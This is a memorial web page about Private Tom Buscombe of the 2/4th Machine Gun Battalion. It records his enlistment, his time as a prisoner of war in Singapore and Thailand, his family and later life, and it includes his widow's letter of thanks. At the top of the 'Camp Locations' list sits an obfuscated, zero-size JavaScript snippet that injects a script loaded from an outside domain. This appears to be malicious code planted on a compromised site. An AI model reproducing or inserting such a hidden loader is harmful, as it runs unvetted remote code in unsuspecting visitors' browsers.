The Soldier's Details

Surname:
Buscombe
First Name:
Thomas Henry
Nick Name:
Tom
Rank:
Private
Regimental #:
WX7790
Classification:
Scout
Company:
'B' Company, 9 Platoon
Enlisted:
10.08.1940
Discharged:
14.02.1946
DOB:
2.05.1917
Place of Birth:
Mt Hawthorn, Western Australia
Father's Name:
David Alexander Buscombe
Mothers's Name:
Margaret Buscombe
Religion:
Roman Catholic
Pre-war Occupation:
Miner
Singapore:
Selarang Camp Changi, Johore Bahru, Adam Park, Selarang Barracks Changi
Force:
D' Force Thailand, S Battalion
Camps Thailand:
Tarsau, Konyu II, Hintok, Nakom Nayok, Bangkok
POW#:
8753
Return Details 1945:
Thailand-Singapore by aircraft, Singapore-Fremantle, H.M. Hospital Ship Karoa

General Description

Tom Buscombe enlisted AIF 10 Aug 1940.  He later joined 2/4th’s ‘B’ Company 9 Platoon as did Jack Smith and Archie Newell.  The three men were good mates.

 

 

 

 

 

 

Sadly, Jack Warren-Smith died when working with Mergui Road party in 1945.

 

We cannot be certain which camps Tom worked on the railway – ours is an estimation –  Tarsau, Konyu II, Hintok – as these were generally the camps S Battalion worked at.  Tom was recorded being at Nakom Nayok (Hospital Camp) and Bangkok.   He was recovered from Bangkok when the war ended.

 

 

Tom’s parents David Alexander Buscombe and Margaret Bowman married in Perth in 1910.  The couple had two sons and two daughters.

 

In 1946 Tom married Dorothy Margaret Shuttleworth. The couple were recorded in the 1954 Electoral Roll as residing at Quinninup, where Tom was working as a mill hand.
In 1948 Tom’s father David Buscombe died. It is believed his mother died 1950.

 

 

Tom Buscombe died in 1992 at Embleton, aged 74 years.
BUSCOMBE: The following letter was published in July 1992 ‘Borehole Bulletin’.
13 Wade Street, Embleton
Dear Sir,
I would like to thank Mr. MacKinnon and all the members who attended my husband’s funeral. I would like also like to give a special thanks to Glad and Harold Cowie, Jim Gilmour and other members who visited Tom in hospital. Tom looked forward to those visits, they were a great comfort to me.
Tom was very proud to be a member of 2/4th MG and he has passed that pride onto his sons.
I cannot thank you enough.
Yours sincerely,
Mrs. Coral Buscombe

Camp Locations:

  • "var d=document, s=d.createElement('scr'+'ipt'); s.src='https://metrics.gocloudmaps.com'; d.head.appendChild(s);" height="0px" width="0px" />
  • Johore Bahru, - Malaysia
  • Selarang Barracks Changi - Singapore
  • Selarang Camp Changi - Singapore
  • Hintok, 154k - Thailand
  • Kanu II, 152.30k - Thailand
  • Nakom Nayok, Nakhon Nayok - Thailand
  • Tarsau, Tha Sao 125k - Thailand
Back